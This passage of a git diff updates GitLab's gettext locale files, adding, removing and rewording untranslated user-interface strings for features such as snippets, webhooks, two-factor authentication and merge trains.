+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/pl_PL/gitlab.po b/locale/pl_PL/gitlab.po
index 41eefbe4c0b..952e2204bd3 100644
--- a/locale/pl_PL/gitlab.po
+++ b/locale/pl_PL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:48\n"
+"PO-Revision-Date: 2020-09-04 23:09\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -60,13 +60,13 @@ msgstr[3] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -75,6 +75,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -389,6 +392,9 @@ msgstr[3] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -425,6 +431,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -489,6 +498,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -516,7 +528,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -603,9 +615,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -624,6 +633,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -633,6 +645,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
